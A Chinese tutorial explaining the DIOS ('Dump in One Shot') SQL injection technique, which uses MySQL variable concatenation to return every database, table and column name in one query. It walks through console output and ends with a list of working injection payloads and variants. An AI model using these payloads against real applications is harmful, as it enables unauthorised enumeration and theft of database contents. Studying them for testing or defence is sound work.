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Dump in One Shot

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本文将来介绍Dump in One Shot(DIOS)这种SQL注入手法

例子 #

先来看一个例子

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata) where
(@a) in (@a:=concat(@a,schema_name,'<br>'))))a)

上面的SQL语句会一次性返回所有数据库的名称

+-------------------------------------------------------------------------------------+
| (@a)                                                                                |
+-------------------------------------------------------------------------------------+
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

请先仔细想想这条语句是如何执行的,再看下面的分析

原理分析 #

先让我们从最内层开始,分析这条语句是如何执行的

 (@a:=concat(@a,schema_name,'<br>'))

首先你要知道@a是一个变量。concat()@a,schema_name,'</br>'三者进行拼接,:=是赋值操作。但是有一点你需要注意,只要concat()中有NULL时,都会返回NULL

mysql> select @a;
+------+
| @a   |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select (@a:=concat(@a,schema_name,'<br>')) from information_schema.schemata;
+-------------------------------------+
| (@a:=concat(@a,schema_name,'<br>')) |
+-------------------------------------+
| NULL                                |
| NULL                                |
| NULL                                |
| NULL                                |
| NULL                                |
| NULL                                |
+-------------------------------------+
6 rows in set (0.00 sec)

所以执行时先要对@a进行赋值。这也就是本文例子中为什么要select(@a:=0x00)的原因。

mysql> set @a:=0x00;
Query OK, 0 rows affected (0.00 sec)

mysql> select (@a:=concat(@a,schema_name,'<br>')) from information_schema.schemata;
+-------------------------------------------------------------------------------------+
| (@a:=concat(@a,schema_name,'<br>'))                                                 |
+-------------------------------------------------------------------------------------+
|  information_schema<br>                                                             |
|  information_schema<br>mysql<br>                                                    |
|  information_schema<br>mysql<br>performance_schema<br>                              |
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>                      |
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>              |
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
6 rows in set (0.00 sec)

再看包含这条concat()从句的语句

select (@a) from (information_schema.schemata) where (@a)in (@a:=concat(@a,schema_name,'<br>'))

这是一条SQL中的 where in 语句。但是请仔细想一想,这和通常的 where in 语句是不是有些区别?@a既不是一个字段的名称,in 后面也不是可能取到的值集合。 好吧,如果你纠结在这里,你就输了(´∀`*) 。

mysql> (select (@a) from (select(@a:=0x00),(select (‘hahaha’) from (information_schema.schemata) where ('biubiubiu') in (@a:=concat(@a,schema_name,'<br>'))))a);
+-------------------------------------------------------------------------------------+
| (@a)                                                                                |
+-------------------------------------------------------------------------------------+
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

同样返回了所有数据库名称。是不是觉得很神奇( ̄▽ ̄)"。其实(select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))))这条语句的作用仅仅是不断的将schema_name字段中的值追加到@a变量中,而不是返回一个有效的结果集。最终我们是通过变量@a来得到所有的数据库名

mysql> (select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))));
+------------+----------------------------------------------------------------------------------------------------+
| (@a:=0x00) | (select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))) |
+------------+----------------------------------------------------------------------------------------------------+
|            | NULL                                                                                               |
+------------+----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select @a;
+-------------------------------------------------------------------------------------+
| @a                                                                                  |
+-------------------------------------------------------------------------------------+
|  information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

获取所有的表名 #

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where (@a)in (@a:=concat(@a,table_name,'<br>'))))a);

获取非information_schema中的表 #

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_name,'<br>'))))a)

获取数据库与表的关系 #

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)

一次性返回数据库的所有信息 #

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

进行模糊匹配查询 #

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'SHOP%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

更多的DIOS姿势 #

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))

(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

(select 1,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@))

Reference #